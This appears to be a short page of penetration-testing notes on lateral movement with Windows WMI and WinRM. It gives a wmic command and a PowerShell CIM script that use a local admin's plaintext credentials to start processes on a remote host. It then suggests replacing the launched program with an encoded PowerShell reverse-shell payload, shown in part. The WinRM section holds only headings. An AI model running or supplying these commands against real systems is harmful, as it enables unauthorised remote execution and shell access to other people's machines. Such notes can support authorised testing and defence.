LOTL WMI and WinRM
User credentials of a local admin on the remote target is needed to create new processes
WMI
CMD test
wmic /node:192.168.1.50 /user:adot /password:Pwd process call create "calc"Powershell test
$username = 'adot';
$password = 'Pwd';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.1.50 -Credential $credential -SessionOption $Options
$command = 'calc';Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};We can change the $command variable to a powershell rev shell payload
$command = 'powershell -nop -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtE8AYgBqAGUAYwB0ACA';WinRM
CMD
Powershell
Last updated